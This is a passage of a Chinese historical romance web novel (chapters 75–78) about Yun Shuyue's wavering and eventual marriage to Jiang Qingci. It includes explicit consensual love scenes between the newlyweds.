当初江家是假流放的消息也是她偷听来的,当时,她便选择不跟谢琅走,要留在这里等着江清辞带她回去。 可一年的时间,风水轮流转,如今是她云家能风风光光回京,江家回不去了。 云舒月说不上心里的感受,好像从前那些嫉妒江清辞的想法,全都烟消云散了。 她再也不是依附者的角色,跳出来再看,她对江清辞,又是什么样的情感? 她侧头愣愣往回望,江清辞正站在门口看她,他不知道书房里正在谈论的话题。 他只是在疑惑,她为何不推开门,祖父应当一早就等着她进去的,祖父早想与她说说话了。 劝她离开他也好,帮她分析利弊也罢,总归,她不该就这么在书房门前站着。 江清辞直觉她听到了什么意料之外的话。 在他怔愣之际,云舒月朝他走过来,用力抱了他一下。 他随即轻轻环住她,手掌温柔地抚着她的背,低声问道:“怎么了,月儿?” 云舒月把脸埋在他胸前,深吸一口气,一句话在嘴里打了个转,终是没有说出来。 只道:“没什么,就是突然想抱你。” 她故作轻松,实则脑袋里飞速转动着,江家若不能回去,在那么一场盛大的婚礼下嫁给江清辞意味着什么,她一清二楚。 意味着娘家的荣耀与她无关,她仍回不去京城了。 可她,可她难道要再说一句:“江清辞,我们还是算了……” 话到嘴边,她说不出口。 两家商议的婚期就在近前了,都说事情不好在拖下去了,她之前便也觉得,先嫁了也好,江家在黔州山里的那个大宅子,她也喜欢得很。 可若要她永远住在那里,她也不太愿意呢。 晚上,云舒月没在这里停留多久,江清辞想邀她留宿,云舒月却没同意,提着裙子便走了,也没要他送。 可她走前,与他也是亲热的,偎着他的身子,也是热腾腾的。 江清辞推开祖父的房门,一脸的质问:“祖父不是说要与月儿谈事情,怎么没叫她进来。” 江崇礼抚着胡须:“有些事情,无需明谈,她自会知道选择。” 江清辞冷声问道:“她都知道了些什么?” 江崇礼道:“知道一些事实。” 江清辞迈步走向近前,拿起桌上的文书翻看,虽说他早知道皇上有此意,但江家从未担心过。 “您就拿着这样的事实,恐吓她一个女孩子。” 江崇礼只道:“什么叫恐吓,我只是将事实透露给她知道罢了,再说了,你就能保证咱们能回去?” 江清辞无奈低了头,他不能保证,只有祖父能保证。 “祖父若是早不愿她嫁我,何苦骗孙儿这一场。” 江崇礼无奈道:“所以你这是确定了她的选择了?之前你不是还信誓旦旦她不会弃你吗。” 江清辞无语,他能不确认吗,在云舒月眼里,江家都回不去了,他刚刚夸完她聪明。 如今,也只有求着祖父,将事情转圜回来。 光靠他一人,他拿什么去承诺能给她想要的。 “祖父等着,孙儿回去取一样东西给您 看。” 事已至此,他不能再瞒了,事情说到底,如何发展全在祖父他老人家一念之间。 江崇礼颔首:“去吧,去吧。” 江清辞将婚书藏在衣橱的夹缝里,这样东西拿出来,祖父就再也不会想一些歪门邪招来拆散他们。 就会好好的,在黔州待满三年,然后提着先皇的尚方宝剑回京。 江清辞去衣橱里翻找,云舒月刚刚换下的一套衣服还留在这里,他先是找出了婚书,随后又碰到一个冰冰凉凉的东西。 是从云舒月的衣物里掉出来的,是一个小瓶子,江清辞拿起来捏在手里,打量了片刻,拧开盖子闻了闻。 像是一些药丸,不知是作何用的。 他先将婚书揣在怀里,从没有一刻像如今这般渴望家主之位。 江家规矩,要登上家主之位,必得先由自己扶持一位帝王登上皇位。 如此,子子孙孙无穷尽也,江家才可永保地位。 走出房门,他叫来祈言:“去将许郎中叫来。” 他停在走廊上看黄昏时的山景,没有急着回祖父的书房,还是先将手中药丸弄清楚才好。 云舒月回到家中,一直魂不守舍,母亲在一旁帮她缝制绣鞋。 林书柔的针线手艺并不好,但为女儿制一双出嫁穿的绣鞋是她的执念。 云舒月也由着她,丑便丑点吧,却是母亲亲手做的。 “云二怎么了?今天在山上玩得不高兴?” 云舒月托腮望向窗外,摇摇头:“没有。” 林书柔打量着女儿的侧脸,脸上挂起柔和的微笑:“瞧瞧,闺女长大了,都要嫁人了。” 云舒月怔怔摸向腰间荷包里放着的婚书,此物她与江清辞一人保管着一份,未与家人言明的婚事,她感到有些愧疚。 在此之前,她从未感到愧疚过,只因她也从未将此婚事当真过,不过是一门,需要的时候拿出来,不需要的时候藏起来的婚事。 真是难得江清辞愿意由着她这样胡闹。 可不嘛,她现在不就有了将它继续藏起来,甚至撕毁的可能性。 可头一回的,她并不为自己的远见感到高兴了。 她捏着那张由她刻意隐藏起来的婚书,头一回觉得自己有些卑鄙。 瞧她,现在还真的说撕毁它就能撕毁它呢。 她现在看它,应是觉得碍眼极了的。 她扭头抱住母亲,忽然觉得,自己对谁也愧疚。 自己隐瞒婚事先是对母亲愧疚,如今捏着这张随时可以撕毁的婚书,更是对江清辞愧疚。 可她,可她还是没将它拿出来。 可能,在今晚的深夜里,她会将它撕毁,将它变成永远不会有人知道的秘密。 林书柔摸了摸她的脑袋,便将她推开:“还有七日便到婚期了,绣鞋还有许多地方没做好,你先去一边玩会儿。” 云舒月欲言又止,终是没有阻止母亲。 江清辞没有等多久,许郎中便来了。 “许郎中帮我看看,这药瓶里是什么药?” 许郎中双手接过药瓶,这大晚上的,江大人叫他过来就是为了这个。 他拧开瓶盖,先是伸手挥了挥气味,又从里面倒出一颗药丸仔细打量,皱起眉头来。 江清辞连忙问道:“可是此物的主人生了什么病?” 许郎中摇摇头,为了确认,又捏碎了一颗药丸查看。 最后得出板上钉钉的结论:“回大人,此物是避子药。” 江清辞蹙起眉头:“许郎中可确定?” “确定。” 送走了许郎中,江清辞颓丧地倒在椅子上,云舒月啊云舒月,可真是把他给耍得团团转。 到头来,走的时候一根头发也不会落下。 她是极聪明的女子,不会给自己留下一丝一毫的隐患。 他指尖捏着婚书,何必呢,何必再拿去给祖父看呢。 “婚期还有几日?” 祈言答:“公子,还有七日,家里正紧锣密鼓地筹备着,二夫人忙得脚不沾地。” 他的言外之意是,若是要终止婚事,当提前往家里说才是。 “公子何不直接去找云二姑娘问个清楚呢,到底嫁还是不嫁。” 江清辞摇头:“万一她需要七天的时间来做决定呢,我不逼她。” 祈言无言以对,公子这样不是,钝刀子割肉嘛,还不是疼。 祈言只是觉得,到时候家里忙得脚不沾地地办了婚事,花轿抬过去了,新娘子却不嫁了,这矛盾不是闹得更大,江家也白忙活一场。 江清辞只道:“这婚礼本就是我欠她的,给她不亏。” 巧的是,江崇礼那边也并未传出任何要停止婚礼的消息。 祖孙俩默契出奇地一致。 唯独忙前忙后的薛亦秋,她是知道老爷子打算的,可还是把婚礼筹备得热火朝天。 管人家嫁不嫁呢,自家礼数先做好呗。 祈言又道:“那公子,何不直接去与云二姑娘说清楚,就说老爷子说的是骗她的谎话,咱们江家是要回京的,怎么可能不回京呢?” 江清辞直视他:“没用的,祈言,回不回京是祖父说了算,你我说了都不算。” 若是一味逆着祖父行事,祖父说不定,真的要大家就此定居黔州了。 明明现在还有很多事情可以做,可他都提不起力气去做了。 何不就按照她的想法来呢。 他硬要她嫁了过来,难道就好吗? 云舒月今日又去了太后那儿一趟,又印证了一遍昨天听到的消息。 她如今也是学聪明了。 太后对江家似乎甚是不喜,拍着她的手说道:“你就听哀家的没错,跟着江家啊,绝不长久的。” 云舒月缓缓抽出手,落下一滴泪来:“可是太后,月儿从小就喜欢清辞哥哥……” 她垂下头,将哀伤的娇羞小女儿神态做到了极致。 谁看了不心疼啊。 太后连忙将她抱在怀里:“京中的俊俏公子哥儿多了去了,待回了京,哀家再替你选几个好的。” 云舒月不说话,只不停地拭着泪,她是个重情重义的。 太后却知道,皇帝不想让江家回京。 而先皇到底给江家留了什么后手,太后也不知道,她当时只是个后妃。 云舒月也不知道自己在太后面前哭什么,是要把重情重义的人设做足?还是哭着哭着,说不定太后心疼自己,就叫皇帝提前把江家也召回去了。 后者显然是不可能的,她的哭,只有在江清辞那儿能换来实打实的好处。 实际上,现实是残酷的,不是谁哭就能得到好处。 太后表面心疼她,实际上,绝不会从手指缝里露出一丝一毫实打实的东西给她。 一想到这,越发觉得江清辞的可贵。 她也是真的不想轻易再放弃他了。 云舒月伏在太后膝上,什么也不说,只哭。 太后便道:“听闻黔州附近有个叫沙溪镇的地方,风景秀美,民风淳朴,不如咱们两个一起去玩几天,就当散散心了。” 云舒月一愣,她正好不知道自己该不该躲了这场婚礼,若是与太后同去,正好错过了时间,那么也不怪她了。 但与此同时,她也害怕回来的时间晚了,真的错过了婚礼。 她其实,还没有想好的。 第76章 第76章人去屋空 但太后问得紧,云舒月也不知道该怎么拒绝,该不该拒绝,就点了头。 两人走得急,邓嬷嬷连忙在后方补充上两排侍卫。 太后却叫她别搞这么大阵仗:“哀家身边自有暗卫跟着,这次出行,还是微服出访较为妥当。” 江清辞被祖父叫去书房,江崇礼头也不抬地道:“可死心了?宁安郡主跟着太后出去游访了,应当赶不回来参加你们的婚礼。” 祖父这话说得好 生的冷,冷得江清辞浑身僵硬。 江清辞却觉得,月儿不是这样不礼貌的人,若是不来了,应当要说一声的。 “祖父,她只是还没想好而已。” 他懂她的。 江崇礼嗤笑一声:“人家堂堂一个郡主,真就有那么稀罕你?为了你愿意在黔州过一辈子?” 祖父的话说得好让人绝望。 江崇礼朝他摆摆手:“我看你是不到黄河不死心,你走吧,那便等到婚期之日再说。” 到时候接了个空花轿,他们江家也不觉得丢脸就是了。 但却能狠狠让江三长个教训——在一个女人身上栽两次的教训。 日子一天一天的过着,云家上下一片岁月静好。 云明旭每日抱着小儿子,心情乐呵呵的,少了一条腿的烦恼很少出现。 在他有任何需要的时候,王姨娘总是很快地出现。 他如今对柳姨娘失了兴趣,越发感觉到王姨娘的可贵。 “梅英啊,你没白跟我,等回了京,我抬你做贵妾。” 还不忘问问一旁做针线的夫人的意思:“夫人,你可同意?” 林书柔只白了他一眼:“你随意。” 柳姨娘立在门框处,小脸煞白煞白的。 老爷从前最爱与她亲热,如今因着腿脚不便的缘故,竟歇了这番心思,再没找她睡过觉。 云明旭倒像是提前迈入了优哉游哉的老年生活,以往的那些激情,是再也提不提来了的。 越发显得老实巴交却能干手巧的王姨娘的可贵,柳姨娘在这个家越发没有存在感了。 林书柔翻了云明旭一眼:“你后宅的事情,我管不着。” 云明旭气道:“你是我夫人,我后宅的事情,你不管谁管!” 林书柔早不想管了,也早不该管了,她本来都做好在牢城营生活一辈子的打算了,谁料这两爷子搞出这事儿来,又要叫她回京去做贵太太。 她也不知怎么的,就是厌恶了京城里人的那些做派,她倒宁愿每日天一亮,就扛着锄头下地去。 还给他管后宅?他倒是想得美。 云明旭又道:“咱们国公府后院儿大得很,你想种地,开几亩地出来给你种便是了,就是你一个国公夫人种地,为夫脸上有些无光呢。” 说着,云明旭赔着笑脸牵起夫人的手,轻轻摸了摸她的手背:“夫人,你这手,是不是也该养养回来,这糙黑糙黑的,不好看呐。” 林书柔猛地抽回手:“丢脸?我看你这断腿才丢脸吧。” 听了这话,云明旭生气了。 “这国公夫人你爱做不做,不愿意做我就叫梅英来做!” 王姨娘听了这话,吓得够呛,连忙摆手:“别,别,老爷别生气,夫人她就这脾气。” 国公夫人旁人自是做不了的,毕竟云明旭这国公的身份,都是沾了嫡子的光。 云明旭也实在是生气,他这夫人从前还好好的,自从来了牢城营,眼里就再也没有他这个丈夫了。 一家人都已经经历了这么多事情了,好好过日子不好吗? “月儿跟太后去沙溪镇了,也不知几日回来。” 林书柔一边缝绣鞋一边道:“总归得在婚期之前回来。” 云明旭蹙着眉头:“太后知道这婚事吗?” 究竟什么时候能回来,还得看太后,不过太后若知道婚事,不至于不让她回来。 林书柔没搭理云明旭,但也思索起来。 云明旭好歹是做过那么多年重臣的,曾经在朝堂上也是察言观色的一把好手。 “等等,太后不知道这门婚事。” 林书柔停了手上动作,抬起头看他。 这时,行宫里有宫女递了信过来:“宁安郡主跟太后走得急,留了信叫奴婢送过来。” 林书柔伸手接过信:“多谢你跑一趟。” “夫人客气。” 云明旭忙凑过来看信:“闺女写什么了?快看看她可有说什么时候回来。” 林书柔展开信,王姨娘将家里的门关上。 “母亲,父亲,有些事情女儿还没想好,倒宁愿与太后出去避几天,若婚期前一天晚上女儿还没回来,那就是有答案了,父亲母亲便连夜回京吧,不必理会江家的花轿,是他们将事情隐瞒在先,不怪我们又一次失信。” 江家到底隐瞒了什么事情,云明旭并未多问,从信纸上也问不出个什么。 但女儿一向是个有主意的,便听她的吧。 “夫人,如何看?” 林书柔收了信:“提前将行李收拾好,以免到时候走得急。” 云舒月此时已经走出去好远,在她心里,江祖父隐瞒事情为真,但江清辞应该不知情。 但她又觉得,江祖父实在不像会故意向她隐瞒的人。 婚期将近,江家却面临回不了京的危机,以江家的品性,如何会不将消息告知于她? 云舒月如今唯一想不通的,就是这一点。 可马车外草长莺飞,太后叫了几个俊美小太监在一旁唱着小曲儿,云舒月摇了摇脑袋,便不去想了。 总之,事情最差最差,她也是宁安郡主了。 命运待她不薄。 与此同时,江家的婚礼仍在照常筹备着。 这其中最忙的当属薛亦秋了。 她是一边忙一边叹气,忍不住找公公抱怨:“您这是何必呢,就看着媳妇我白忙活您高兴是吧。” 江崇礼却认为,这婚礼必须给办,还得给大办特办。 “您心里坚信云二不会嫁,为何比媳妇我还要操心这婚礼。” 薛亦秋看着正在纠正婚房内一对花瓶摆放角度的公公。 江崇礼扶好花瓶,抚了抚胡须,道:“我这是为了避免江三不到黄河不死心,这场婚礼越隆重,到时候他的心才会死得越透。” 薛亦秋又不是家主,她能怎么办,只能听家主的,锤了锤酸痛的小腿,继续忙活去了。 “这灯笼要挂满,每道门上八对儿,一只都不能少。” “这园子里的鱼长得不好看,换一批红色的来。” “把抬新娘子的十六名轿夫喊来,我挨个看看,长得不好看的,身高不一致的,可不能要。” 薛亦秋觉得,自己这个媳妇要是娶不到,她都要怄上好长时间。 哼,以后江三若再跟云二纠缠不清,她非要打断他的腿。 江崇礼对江清辞道:“你母亲这几日劳累得很,你多去看看她。” 得叫他看在眼里啊。 江崇礼观察着孙子的表情,若他自己开口说不必再忙了,那婚礼的事情便立刻终止,谁也不用白忙活。 端看他舍不舍得看他母亲白忙活。 可江清辞就是不说,眼神极为坚毅:“祖父放心,您明年一定能抱上重孙子。” “切!”江崇礼一句话不想跟他多说。 太后那边的消息自有人时时传到江崇礼这里。 “你说说,哪家新娘子临近婚期了,还跑到那么远的地方去。” 江清辞只答:“太后之命,她也不得不从。” 临近婚期的这几日,谁也不知道江清辞脑子里在想什么。 他一如既往做着自己的事情,试过了婚服,亲自挑了一匹接亲的马。 直到婚期的前一日。 云舒月还没回来。 云家人也急得团团转:“怎么说?今晚连夜回京?” 王姨娘揣着手:“反正东西我都已经收拾好了,老爷夫人上马车就能走。” 云明旭还有些迟疑:“走前要不,还是跟江家说一声吧,这事情办的,实在是有些不地道。” 林书柔瞥了他一眼:“哟,老爷这是长进了不少啊。” 云明旭摸了摸鼻子:“一个坑我还能跳两回不成。” 林书柔道:“可月儿说,江家是有事情瞒着咱们的,大婚前他们不说出来,那就叫骗婚,咱们不戳破,偷偷走了,是给他们体面。” 云明旭笑着点头:“还是夫人明智。” 这一日,不光是云家人,江清辞也望穿了眼。 云舒月没有回来。 一个新娘子,婚前一日人都不见,什么意思已经很明显了。 可江家的锣鼓班子按时吹起了号子。 寅时,江清辞身着红袍,骑在一头高大的,油亮亮的马上。 祈言跑得气喘吁吁地来报:“公子,云家已经空了,什么都不剩,应是昨晚连夜跑的,咱们还去接亲吗?” 这不得接个空花轿回来,江三公子能受这样的辱吗? 江清辞面无表情,祈言从底下看上去,只看得见他紧绷的下颌,捏着缰绳的手上青筋凸起。 “公子,云家背信弃义,也不是第一回了,您应当是有心理准备的呀,别生气啊。” “去。”江清辞终于开口,声音低沉却透着不容置疑的坚决。 祈言忙道:“去,去去。” 江家宴请的宾客不少,大多数人只知道这是黔州忽然冒出来的隐世大族江家,并不知这是从前的京城江氏。 隐世大族江家自有一番气派,这接亲的场面,让去过京城见过公主出嫁的商人都赞叹不已。 “只是不知女方是何家?” “江家没说,也许,这就是隐世大族的习惯吧。” 不过,就 算如此,这一场接亲的场面,还是被无数文人与说书先生,记录了下来,若是始终不知新娘身份,这故事便会越传越传奇,若是知道了新娘身份,这两个家族的联姻盛况必会被传至大街小巷。 吹吹打打的热闹队伍慢慢走至人迹罕至的地方,越发坐实了新娘也是出自隐世大族的说法。 直至周围再也没有百姓观看,一步步走回了牢城营。 江清辞骑在马上,云家早已人去屋空,哪有新娘子的身影。 门头上挂着两只红灯笼,被风吹得来回晃动。 江清辞从马上下来,踏入云家居住已久的石屋,这石屋早已不是从前简陋的样子了,一应器物样样俱全,虽不至于豪华,却也能让人生活得十分舒适。 庭院如今十分空荡,他大步朝内院走去,卷起地面上几片枯叶,深吸一口气,推门而入。 大红的喜字还贴在墙上,只是显得格外落寞。 江清辞缓缓踱步,目光扫过屋内的每一处角落,最后落在了梳妆台前,铜镜中,他的身影挺拔,红得深重。 “公子,咱们……回吧。”祈言小心翼翼道。 江清辞没有立刻回答,他闭上眼,哀莫大于心死。 第77章 第77章再睡会儿 他不是不知道她是什么样的人,可她也真的动情过,他见过她动情的样子。 他以为他能捂化她的心,他们是一家人啊。 祖父笑他,一个坑一定要踩两次才罢休。 他也不想踩第二次的,可当初在牢城营,是她撩拨的他。 他以为只要他对她再好一些,更好一些,总能叫她感动的。 可云舒月就是云舒月啊,云舒月怎么可能愿意与他在黔州待一辈子。 “清辞哥哥!” 黔州的山道上,风裹挟着山间独有的凉意,肆意撩动他的深红衣摆。 他的眼神空洞而又茫然,长久地凝视着远方朦胧的山色。 心似被一团乱麻紧紧缠绕,无法解脱。 “清辞哥哥!” 一阵山风拂面,呼喊声清脆又熟悉,骤然在他耳边炸响。 他缓缓转过头,郁郁葱葱的山巅之上,身着鹅黄色衣裙的女子朝他奋力跑来。 她的发丝在风中肆意飞舞,她的衣裙被吹得猎猎作响,她的脸颊泛起两朵娇艳的红晕,她的双眸比最亮的星星还要亮。 一时间,他分不清这究竟是现实还是幻觉,他的眼眶微微泛红。 直到那道身影撞进他的怀里,她就在他耳边大口大口喘着气。 山风拂过,带来的是野花的香。 爱意汹涌澎湃,复苏以后,就再也收不回。 这就是她的决定。 花轿里终是坐上了新娘子,吹锣打鼓返回时,满城皆知,坐在轿子里的,是云家的女子。 “刚刚得了恩宠的那个云家?” “是啊,太后亲封的郡主。” 迎亲的队伍浩浩荡荡,绵延数里。 打头阵的事一群身着鲜亮红袍的家丁,其后,十六名轿夫抬着一顶薛亦秋精心打造的花轿,轿顶镶嵌着一颗硕大的红宝石,引得路旁百姓纷纷仰头惊叹。 鞭炮声噼里啪啦响个不停,从硝烟里出来的新郎官一袭红袍,英姿飒爽,脸上带笑。 远处山里得了消息的江家,一切如常地准备着。 薛亦秋到老爷子面前取笑:“给孙媳妇的贺礼还来得及准备吗?别新娘子到跟前来了,你个做祖父的,连礼物都拿不出来。” 老爷子只呵呵一笑,从书桌里拿出一只锦盒:“早就备好了,就不劳你费心了。” 好在江家从未削减过这婚礼议程,全部是按照最完美的计划进行的。 如今宾客已经入座,桌上摆满了珍馐美馔,大厅的正上方,悬挂着一幅巨大的红色喜字,四周用金线勾勒出祥云。 随着赞礼官洪亮的声音响起,众人便知,是接亲的队伍到了。 刚行出黔州五十里的云家几人,还没来得及停下来歇息,被身后骑马赶到的诗筠叫停了。 “小姐回来了!老爷,夫人,小姐回来了。” 一家人又齐齐整整往回赶。 林书柔跺脚道:“这破孩子,怎么现在才回来,咱们现在回去,仪式都赶不周全了。” 诗筠笑道:“没关系,小姐说了,她自己就能嫁。” 林书柔无奈摇头:“从前说样样都要完美的也是她,如今急急匆匆出嫁的也是她,只要她以后不后悔就行。” 云舒月当然不会后悔,她此时正被江清辞背在背上跨火盆。 大礼朝的婚礼仪式与夜郎国的不太一样,好似都要正规一些。 她也觉得,这才算是真的嫁了,不能反悔的那种。 她是回来得有些晚了,可她实在难以抉择。 太后不希望她回来,并且也斩钉截铁地告诉了她,她嫁到江家去,是没有前途的。 种种事迹都让云舒月不该有一丝的犹豫。 她为什么回来呢,她埋在江清辞的颈间,当然是因为她有情有义,此生就要做清辞哥哥的妻子。 她埋在他颈间笑,透过红盖头织线的缝隙往外看,看到江家的所有人,还有一些她不认识的宾客。 她为什么回来呢,因为她无比信任江家人,江家都是好人,必不会叫她嫁过来吃了亏。 她最后一刻才想清楚,然后做出了十分确定的推断,那就是江家一定会回京。 如果江家真的不能回,或是遭遇了什么危机,在她嫁来之前,她无比确信,无论是江祖父还是江清辞,都必会向她告知清楚。 若是没有告知,那就只能说明,那份危机对江家来说不值一提。 云舒月学聪明了,她看问题,不该像之前那样,只看表面。 在众人的见证下,两人拜了天地、高堂,最后夫妻对拜。 礼成之时,云舒月笑得极为灿烂。 她打赌,她这一步一定走得对极了。 新房内,红烛摇曳,将满室映得暖烘烘、红彤彤的。 云舒月坐在床边,江清辞站在窗边,他在点窗边的蜡烛。 谁也没提为何新娘子家前一夜人去屋空,谁也没问新娘子为何清晨从山巅上跑下来。 是一路赶过来的?还是半路才改了主意? 江清辞觉得想那些已经没用了,她心里当也清楚,这一次,没有反悔的机会了。 他更不会去问:“想好了?要在黔州一直生活下去?” 他只会说:“待明日拜了祖父与父亲母亲,咱们便启程回京。”不必叫她多待一刻。 他朝她缓缓走进,脚步轻缓,来到她身前,微微俯身,手指轻轻抬起,取下她头上的凤冠。 随着凤冠取下,她的头发便瞬间散落,面上无妆,只因出发时一切都备得匆忙。 但她仍然美得惊人,微微垂首,竟红了脸。 他顺势坐在她身旁,两人挨得极近,彼此呼吸清晰可闻。 他抬手轻轻抚上她的脸颊,手指轻轻摩挲,触感细腻温热,云舒月脸颊愈发滚烫。 一阵风从窗外吹过,窗边的红烛摇曳,又撩动了床幔。 江清辞顺势将云舒月拥入怀中,靠在他胸膛上,听着心跳,云舒月只觉心安无比。 江清辞低下头,在她额头印下轻轻一吻,而后沿着额头,缓缓吻向她的眉眼、鼻尖,最终落在唇上。 云舒月闭上眼,轻轻回应着他的吻,双手也不自觉地环上了他的脖颈。 未着寸缕时,她偎在他 胸口处,轻声道:“清辞哥哥,月儿喜欢与你亲热。” 声音说得柔媚,是一种名为夸奖的索取,意思是,再来一回。 江清辞呼吸渐渐变得急促,瞧她,撒娇都让人遭不住,显得急吼吼的是他。 可她的每一声撒娇,每一声嘤咛,都是带着索人命的目的的。 两人如今已经培养出了相当的默契,这一回闹得比往常还要凶。 庭院中的桂花树,叶片上坠着露珠。 她穿着裙子挂屁股坐在枝丫上,江清辞在树根底下挖土。 云舒月说要埋一坛酒进去,等很多年以后回来挖。 江清辞便扛起锄头夯吃夯吃地干。 树枝摇曳,她的脚尖伸到他的肩头,捣乱。 江清辞捏住她的脚背,笑得无奈又温柔:“月儿别闹,我先将酒埋了。” 云舒月非但没停下动作,在他肩头轻轻踢踏,她上身前倾,双手抓住头顶的树枝,身子微微晃动,连带着树枝也跟着哗哗晃动。 他的手从脚背移到脚踝上,轻轻一拽,她便整个人摔了下来,双臂勾住他的脖子,双腿也缠上他的腰。 他含住她的唇吮吸着,空荡荡的裙底很容易被掀起来。 唇舌辗转厮磨间,云舒月轻哼一声,揪住他的衣领,她很会磨人,江清辞不得不将一只手撑在树干上,才能稳住身子。 不一会儿,整颗树枝都开始摇曳起来,晃晃悠悠的,落下一些桂花,入鼻是极为浓郁醉人的香气。 若要云舒月一只腿搭在他胳膊弯里,也是可以的,她是很柔软的女孩子。江清辞手指捏着她红彤彤的脸颊,嘴唇便嘟起来,可爱得不得了。 嘴上还说个不停:“你的药都被我收起来了,以后别吃。” 云舒月张嘴:“啊……唔——”又被他堵住。 他含糊不清地道:“你吃那个做什么呢?吃多了又伤身。” “我不是……唔——” “我说你的肚子怎么一直没动静,我往常哪一次不是使出全力的?你都快让我怀疑自己的能力了。” 一想到这儿,他忍不住就想教训她两下,这破孩子,对着哗哗响的树干,又狠撞了两下。他也不让她说话,他之前也是有私心的,她一直不愿公开婚事,他也侥幸想着,若能有了孩子,事情自然就说出来了。 不过玩心眼子,他哪能玩得过她。 现在也不免要含着她的嘴唇子,再狠狠说两下:“以后不许再吃了,听到没?” 云舒月腿软得站不住,搂着他脖子直道:“听到了,听到了。” 庭院的一角,摆放着一张石桌和几个石凳,桌上还残留着昨夜的花瓣,远处山峦在晨雾的笼罩下若隐若现。山间云雾缭绕,如梦如幻,丝丝缕缕的雾气缓缓飘动,鸟儿在枝头欢快地鸣叫,声音清脆悦耳。 云舒月烦躁地撩了撩额头上的黏在一起的一绺发丝,躺在枕头上翻了个面:“好热。” 江清辞从她腿间抬起头,伸手给她扇了扇风。 远处的厨房烟囱里升起了袅袅炊烟,隐隐有传来锅碗瓢盆的声音。 家里今日似乎还要继续办席。 云舒月还不知道的,她父母已经到了江家了。 被扇了一会儿风,她舒服一些了,一条腿从被子里搭出来,江清辞伸手抚上去,见她睁开了眼,他问她:“这里酸吗?” 云舒月点点头,岔开太久了,有些酸的。 直到卧房里洒进了一地的阳光,诗筠在门口轻声喊道:“小姐,该起来了。” 嫁到江家,云舒月是斗志昂扬的,她定要做好少夫人的位置,早日当家,管好这一大家子人。 按照她的设想,她今日应该卯时一到便起床,然后梳洗好去拜见她的婆婆。 做一个谁也挑不出错来的大家儿媳。 殊不知,就冲着她昨天嫁来了,无论她什么表现,在薛亦秋眼里,没让她白忙活这一阵子,那就是顶好的儿媳妇,相信老爷子也是这么想的。 云舒月摊在床上,估摸着现在是什么时辰。 “江清辞,你怎么不在卯时将我叫醒呢?” 睡懒觉是好,但刚嫁过来,就偷懒,不是她的初衷啊。 江清辞又从腿间抬起头,刚刚亲吻了那一片红肿,唇上还沾着些晶莹,侧头像是回想着什么:“卯时?卯时天还没亮,咱们在窗边折腾了好半晌,你忘了吗?” 云舒月后知后觉想起来,哦,是呢,他们几乎一夜没睡,当时他忽然将她抱起来,将她抵在窗棱上,她当时还听见了鸟叫声。 “那现在几时?” “现在巳时末了,离午饭大约还有半个时辰,不用着急,再睡会儿也行。” 第78章 第78章回京 云舒月摊回床上,直到诗筠在外喊:“老爷夫人都过来了,小姐,起来吧。” 也不是诗筠对自家小姐严格,可这新过门的媳妇,哪能像这么睡啊。 这对小姐以后在江府里立威,多不利啊。 云舒月一听自己父母来了,噌的一下就从床上做起来了。 光着身子,身上肉还跟着晃了晃,跳了跳。 江清辞还是慢条斯理的动作,见她坐起来了,也不只弓着身子了,他坐起身从床角拎过来一只肚兜。 “夫人呢别急,为夫先帮夫人穿衣。” 这肚兜在他手上,像是摆弄一只笔似的,优雅极了。 他两只修长的手,细心挑开了那些繁琐的系带,展开一整块布料。 先拢在她胸前比划,然后皱了眉。 “夫人,为夫想请教,这要如何兜进去?” 他蹙起眉头,当真在细细思索,这是个极难的题。 “是不是买小了?叫裁缝来给你做几件更大的吧。” 兜不住漏风啊,多冷呀。 云舒月两手拢了拢,拢在一块儿,拿过绳子一系,不就穿上了嘛。 江清辞看得惊奇,咽了咽口水,凑近了钻研:“不对,这不对。” 他手伸出来一抽,系带又垮了,刚刚拢好的,又跳了出来。 他两只手按在云舒月肩上,云舒月没动弹,不一会儿,她冷冷看着他:“叫厨房蒸两个大白馒头给你吃吧,还不快帮我穿上。” 江清辞松开她,舔了舔牙尖,顺从道:“好,我这就帮你穿,为夫刚刚已经学会了。” 得眼疾手快,拢起来的一刹那,立马系上带子,就不会垮掉或是晃出来。 “馒头有什么好吃的,又没味儿,还是叫厨房蒸上几个流汤汁的鲜肉大包子,那才叫好吃呢。” 云舒月抽开他,正要下床,他又眼疾手快地递过来鞋,捏住她的脚踝:“娘子不必动弹,让为夫来穿。” 云舒月笑道:“夫君向来不重口腹之欲,怎么爱上肉包子了。” 江清辞给她的脚挨个套上鞋,抬眸看她,眼里有星辰闪烁:“因为食髓知味。” 云舒月翻了他一眼,轻轻拍了下他缠绵在她腿上的手,刚要起身,却被江清辞一把拉住。 他顺势将她揽入怀中,下巴搁在她肩头:“让我再多抱一会儿。” 云舒月心中虽挂念父亲母亲,却还是顺从地靠在他怀里。 她也不想让他失落。 想抱就抱一会儿吧。 江清辞又帮她梳了头,两人才慢吞吞走出来。 待到了前厅,云明旭和林书柔都已经与江家人聊了许久了。 双方的脸都是笑烂了的。 林书柔见了女儿,忙道:“瞧你,怎么现在才来。” 云舒月快步上前,江清辞的手空了,云舒月亲昵地挽住母亲的胳膊。 “你们什么时候来的。” 林书柔道:“诗筠来报信的时候,我们就开始往回赶了,可惜还是没赶上。” 江清辞此时迈步上前,拱手道:“无事,岳父岳母,女婿现在跪拜也来得及。” 话音落下,便有江家下人送来茶盏,江清辞跪地行完了这大礼。 云舒月心里想着,他拜完,也该她拜了。 要给公婆敬茶,但江崇礼也在,老爷子自然是排在第一位的。 云舒月没想到江崇礼也在,自己只是一个孙媳妇 ,按理说,应当引不起他老人家注意的。 但江崇礼还偏就重视她,此时做在主位上,威严道:“老三媳妇,愣着做什么,还不快来给你祖父我敬茶。” 这声音严厉得云舒月哆嗦了一个哆嗦。 江崇礼抚着胡须心想着,没想到这女子竟嫁来了,他愿赌服输,不仅认了她做孙媳妇,还得把答应他们夫妻俩的都给他们。 云舒月踱步走过来,稳了稳心神,也不是没见过大场面的人,这一个跪拜大礼,行的那叫一个漂亮。 瞧瞧,这就是曾经的京中第一才女云舒月。 江崇礼笑了起来,等云舒月挨个给长辈敬完茶,江崇礼朝薛亦秋点点头。 薛亦秋从管家那里取来对牌和印章,纷纷递到云舒月手上。 “江三是未来家主,江三媳妇是未来当家夫人,是家里一早就定好的,你既然嫁来了,事情也不必再拖,舒月,江家后宅往后就交予你打理了。” 云舒月手捧着对牌和印章,这样的安排,她从及笄前在闺中时,就已畅想过无数次,这就是她的目的,她要的长大后的样子。 这物件儿沉甸甸的,她心中既紧张又兴奋,抬眸时,脸上的笑意谁都看得出来。 “祖父放心,母亲放心,孙媳、媳妇定不负所托。” 江崇礼微微颔首,云家女素有才名,事情交给她,大抵是办得好的。 “好,你今后若有什么难处,尽管来找我。” 